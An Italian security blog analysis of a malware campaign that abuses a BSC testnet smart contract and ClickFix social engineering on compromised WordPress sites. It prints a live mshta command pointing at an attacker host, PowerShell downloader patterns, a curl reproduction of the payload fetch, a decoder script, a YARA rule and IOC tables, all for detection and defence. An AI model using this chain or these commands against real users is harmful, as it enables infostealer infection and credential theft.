Analisi

Analisi tecnica: abuso di BSC blockchain + ClickFix per distribuire malware. Campagna osservata in Italia

Dario Fadda 7 Ottobre 2025

Ho avuto la fortuna di rilevare e analizzare una campagna che usa una catena multi-step molto simile a quella documentata a maggio scorso da Microsoft (EtherHiding + ClickFix), tecnica che finora sembrava diffusa all’estero con azioni mirate per esempio per utenti in Canada, ma non documentata (in-the-wild) in Italia. Il vettore rilevato su siti WordPress compromessi in Italia è costituito da:

  1. uno script JavaScript offuscato iniettato direttamente in homepage nella pagina (tag <script src="data:text/javascript;base64,...">);
  2. una chiamata JSON-RPC eth_call verso un nodo BSC (testnet) per recuperare un payload codificato;
  3. decodifica del payload (ABI → base64 → atob()eval()), che produce un HTA/JS che copia in clipboard un launcher mshta.exe e mostra istruzioni social-engineered;
  4. esecuzione remota tramite mshta che scarica un HTA/JS da host malevoli (es. s.vamuwe.ru), il quale poi lancia downloader (PowerShell IEX/DownloadString) per deployare stealer/loader (Lumma-like).

La tecnica sfrutta la blockchain come canale di consegna dinamico (resiliente alla rimozione) e il comportamento umano (paste → Run) per bypassare molte difese automatiche. Questo meccanismo è sicuramente nuovo da osservare in Italia

Contesto e correlazione con analisi Microsoft

Microsoft ha descritto in dettaglio la combinazione di EtherHiding (uso di dati on-chain per distribuire o orchestrare payload) e ClickFix (social-engineering che induce l’utente a incollare/eseguire comandi) per distribuire info-stealer, tra cui Lumma. Questa analisi conferma che lo stesso pattern è oggi osservabile anche in Italia: le differenze sono principalmente gli IOC (domini, contract address, selector), non la tecnica di base.

Offro un po’ di contesto per poter focalizzare i concetti che seguono nell’analisi tecnica. BSC è Binance Smart Chain, una piattaforma da utilizzare per avere uno smart contract che non effettuerà transazioni ma conterrà del codice malevolo all’interno.

Ricostruzione tecnica (flow dell’attacco)

  1. Iniezione
    • Il sito WordPress (tramite un plugin obsoleto e quindi vulnerabile) viene compromesso con un’injection che mostra uno script inline data:text/javascript;base64,... subito sotto i meta dei plugin (nell’header).
  2. Loader offuscato lato client
    • Lo script de-base64izza un JS offuscato che usa tabelle di lookup/rotazioni (_0x25fb1b, _0x754a, _0x375646) per nascondere stringhe e costanti.
    • Compone e invia una chiamata JSON-RPC di tipo eth_call verso https://bsc-testnet.bnbchain.org/.
  3. Chiamata JSON-RPC (riproducibile in lab)
    { "jsonrpc":"2.0", "method":"eth_call", "params":[ {"to":"0xA1decFB75C8C0CA28C10517ce56B710baf727d2e","data":"0x6d4ce63c"}, "latest" ], "id":97 }
    • to: contract address (IOC).
    • data: selector 0x6d4ce63c (IOC).
  4. Decodifica del risultato
    • Lo script interpreta il result: legge i primi 32 byte come lunghezza N, prende i successivi N byte, li concatena in una stringa base64 e applica atob()eval().
    • Il payload decodificato contiene HTML/JS/HTA che copia in clipboard il launcher mshta.exe con un URL malevolo, e visualizza istruzioni per convincere la vittima a incollare e lanciare il comando.
  5. Pivot di esecuzione
    • Comando clipboard rilevato: "C:\Windows\system32\mshta.exe" https://s.vamuwe.ru/y4.google?t=l9yuyry1
    • mshta scarica l’HTA remoto ed esegue codice (downloader → PowerShell IEX → payload finale, es. infostealer).

Analisi tecnica approfondita

Uso della blockchain come canale di consegna

  • Pro per gli attaccanti: immutabilità e resilienza; possibilità di aggiornare messaggi/istruzioni senza toccare il sito web; difficoltà a rimuovere messaggi pubblicamente disponibili.
  • Contro per gli attaccanti: potenziale tracciabilità pubblica su chain explorer; se usano testnet possono sfruttare minor controllo di blocco.

Nel nostro caso lo script effettua eth_call (read-only) contro BSC testnet; il contract risponde con dati ABI (Application Binary Interface) che, una volta processati, contengono il payload base64. Questo è il medesimo pattern EtherHiding descritto da Microsoft.

Perchè eth_call?
Perchè permette agli attaccanti di aggiornare “istruzioni” semplicemente scrivendo nuovi contenuti nello smart contract (o cambiando lo stato in un contract di cui controllano l’owner). Lo script sul sito rimane invariato: legge sempre il contratto e ottiene dinamicamente il messaggio. Questo dà flessibilità e persistenza all’attacco senza dover riconnettersi al sito compromesso ogni volta.

De-offuscazione e decoding

  • Offuscamento: lookup table + rotazione; ho emulato la funzione di mapping per risolvere le stringhe critiche.
  • Decodifica ABI: il JS legge un intero di lunghezza (32 byte) e poi estrae il payload; tale payload è una stringa base64 che viene atob()ata e poi eval()ata — passaggio critico perché permette l’esecuzione dinamica di codice non presente sul server originario.
  • Il payload risultante copia in clipboard il comando mshta e mostra un prompt per convincere l’utente a incollarlo.

Social-engineering: ClickFix

  • Il popup o la finta verifica persuasiva è progettata per abbassare la soglia d’attenzione; le istruzioni sono semplici: “apri Esegui, incolla e premi OK” → l’utente esegue mshta che avvia il resto della catena. Addiritura si suggerisce la combinazione di tasti che apre direttamente Esegui. Inoltre il popup è dinamico e si modella in base al sistema operativo utilizzato dall’utente. Funziona quindi con Windows ugualmente come su MacOS.
  • Questa tecnica bypassa molte policy di difesa che si basano solo su download/execution automatica, perché è l’utente a fornire volontariamente l’esecuzione.

Implicazioni difensive

Rilevamento suggerito

  • Network / Proxy: allertare su connessioni a s.vamuwe.ru e a bsc-testnet.bnbchain.org; loggare bodies JSON-RPC contenenti eth_call e 0x6d4ce63c.
  • EDR / Endpoint:
    • Evento di processo: mshta.exe con commandline che include vamuwe.ru o path /y4.google.
    • powershell.exe con flags -nop, -w hidden, IEX, DownloadString.
    • Clipboard activity correlata a process creation (se il tuo EDR supporta telemetria clipboard).
  • File / Web: scannerare siti/backup per data:text/javascript;base64 e per pattern di offuscamento _0x754a.

Mitigazioni pratiche

  • Bloccare domini/URL malevoli a livello proxy/DNS/firewall.
  • Disallow / limit mshta.exe & gestione HTA tramite AppLocker / WDAC (solo se compatibile con il business).
  • Disabilitare esecuzione di codice in wp-content/uploads.
  • Aggiornare WordPress e plugin (rimuovere plugin obsoleti).
  • Forzare rotation credenziali e verificare accessi hosting.
  • User training mirato: non incollare/eseguire comandi ricevuti da pagine web; policy aziendali su paste/run.

Comandi e script utili (solo per laboratorio analisi)

Riprodurre eth_call (curl)

RPC="https://bsc-testnet.bnbchain.org/"
TO="0xA1decFB75C8C0CA28C10517ce56B710baf727d2e"
curl -s -X POST "$RPC" -H "Content-Type: application/json" -d '{
  "jsonrpc":"2.0",
  "method":"eth_call",
  "params":[{"to":"'"$TO"'","data":"0x6d4ce63c"},"latest"],
  "id":97
}' | jq -r .

Decodifica result (Python)

import base64
resultHex = "<paste eth_call result here>"

h = resultHex[2:] if resultHex.startswith("0x") else resultHex
data_bytes = bytes.fromhex(h)
length = int.from_bytes(data_bytes[:32], byteorder='big')
payload_bytes = data_bytes[32:32+length]
payload_b64 = payload_bytes.decode('latin1')
if len(payload_b64) % 4:
    payload_b64 += '=' * (4 - (len(payload_b64) % 4))
decoded = base64.b64decode(payload_b64)
open("decoded_payload.bin","wb").write(decoded)
print("decoded written to decoded_payload.bin")

YARA rule utile di esempio

rule mshta_remote_ru {
  meta:
    author = "analyst"
    desc = "Detects mshta launcher or HTA with .ru host or base64 JS loader"
    date = "2025-10-07"
  strings:
    $mshta_cmd = "mshta.exe" nocase
    $s_vamuwe = "s.vamuwe.ru" ascii
    $data_uri = "data:text/javascript;base64" ascii
    $atob = "atob(" nocase
    $eval = "eval(" nocase
  condition:
    any of ($mshta_cmd, $s_vamuwe) or ($data_uri and ($atob or $eval))
}

Artefatti (IOC principali)

Vedi tabella sotto per l’elenco completo. Qui sintetizzo i più rilevanti per hunting e blocco rapido.

  • Domain / Host: s.vamuwe.ru
  • URL launcher: https://s.vamuwe.ru/y4.google?t=l9yuyry1
  • RPC endpoint: https://bsc-testnet.bnbchain.org/
  • Contract to: 0xA1decFB75C8C0CA28C10517ce56B710baf727d2e
  • Selector / calldata: 0x6d4ce63c
  • Result (address): 0xd71f4cdc84420d2bd07f50787b4f998b4c2d5290 (prima risposta)
  • Result (lungo): blob ABI contenente una stringa base64 → payload JS/HTA → eval(atob(...))
  • Injected code pattern: data:text/javascript;base64, inline script
  • Offuscation markers: _0x25fb1b, _0x754a, _0x375646
TipoValoreContesto / Dove trovatoUso raccomandato / Note
Domain / Hosts.vamuwe.ruURL usato nel comando mshta: mshta.exe "https://s.vamuwe.ru/y4.google?t=l9yuyry1"Bloccare a livello proxy/firewall; cercare traffico HTTP(S) verso questo host nei proxy/IDS; WHOIS/passiveDNS.
URL (full)https://s.vamuwe.ru/y4.google?t=l9yuyry1Comando mshta incorporato nel payload — launcher remotoBloccare e conservare headers se catturati; analisi statica del file HTA scaricato.
Launcher / Command"C:\Windows\system32\mshta.exe" https://s.vamuwe.ru/y4.google?t=l9yuyry1Comando copiato/incolllato in clipboard e istruito all’utenteDetection su process creation (Sysmon/EDR): processo mshta.exe con commandline contenente vamuwe.ru o /y4.google.
Domain (RPC)bsc-testnet.bnbchain.orgEndpoint JSON-RPC chiamato dallo script (fetch)Monitorare richieste outbound HTTP POST verso RPC; possibile C2 via blockchain; bloccare o sinkhole per analisi.
Contract address0xA1decFB75C8C0CA28C10517ce56B710baf727d2eParam to della chiamata eth_call costruita dallo scriptUsare come IOC per query su chain explorer (testnet) e per ricostruire storage/funzioni view; cercare riferimenti in filesystem/DB.
eth_call selector / calldata0x6d4ce63cdata inviato nella eth_call verso il contratto (calldata 4 byte)Cercare in JS/DB il valore; utile per riprodurre chiamata in sandbox e recuperare payload.
eth_call result (address)0xd71f4cdc84420d2bd07f50787b4f998b4c2d5290Primo result ottenuto (short address)Potrebbe essere pointer/indice: tracciare ulteriore chiamate che usano questo valore.
eth_call result (base64 payload)(lungo blob base64 estratto dal result; vedi campo result lungo)Secondo result (quello decodificato in chiaro) — payload base64 che viene atob() e eval()Conservare il blob; analisi statico -> base64 -> payload JS/command.
Pattern script incriminato<script src="data:text/javascript;base64,....">Modalità di iniezione trovata nel sito WordPress compromessoRicerca nel filesystem/DB per data:text/javascript o tag script inline; pulizia/replace; query WP-CLI / grep.
Payload clipboard (excerpt)mshta.exe "https://s.vamuwe.ru/y4.google?t=l9yuyry1" (vedi riga 3)Comando copiato in clipboard dall’HTA/JS decodificatoDetection: monitoraggio API clipboard (browser telemetry) e policy UAC endpoint; EDR alert su paste+run pattern.
Offuscation / lookup pattern_0x25fb1b, _0x754a, _0x375646 (lookup + rotazione)Pattern di offuscamento JS usato per nascondere stringhe e costruire JSON-RPCUsare per rule statiche (regex) su file JS: cerca function _0x754a e array _0x25fb1b.
Base64 large blob (pattern)presenza di lunga stringa base64 nel JSpayload decodificato conteneva base64 -> risultato JS eseguibileRule per grep "[A-Za-z0-9+/=]{200,}" e per YARA che cerchi base64 inline nei JS/HTA.
TTP / Behavioral patterneth_call → decode → atob()eval()navigator.clipboard.writeText(...) → social-engineer popupFlusso di attacco osservato (chain of trust via smart contract)Modellare detection behaviorale: web requests verso RPC + iniezione clipboard/popups; EDR/Browser telemetry.
Possible C2 patternfetch JSON-RPC → interpret result as payload → dynamic loaderPersistenza e canale di controllo tramite blockchain-read-onlyBlock outbound RPC or sinkhole; log all such requests.
Suspicious domain TLD.ru (s.vamuwe.ru)Dominion used for payload hostingIndicatore di rischio: consultare blocklists, passive DNS.
Potential downloader URL patternshttps://.../payload.ps1 (esempio derivato dal powershell IEX pattern)Possibile URL usato nei payload successivi (se scaricato da powershell)Ricerca in web logs e DNS per contatto verso domini sospetti.
HTTP header hintsPossibile requirement di UA MSHTML / IE11 / mshta UAServer-side cloaking (Cloudflare) che risponde solo a browser-like UAUsare in hunting: riprodurre UA in curl / puppet to fetch resource.

💬 [[ unisciti alla discussione! ]]


Se vuoi commentare su Analisi tecnica: abuso di BSC blockchain + ClickFix per distribuire malware. Campagna osservata in Italia, utilizza la discussione sul Forum.
Condividi esempi, IOCs o tecniche di detection efficaci nel nostro 👉 forum community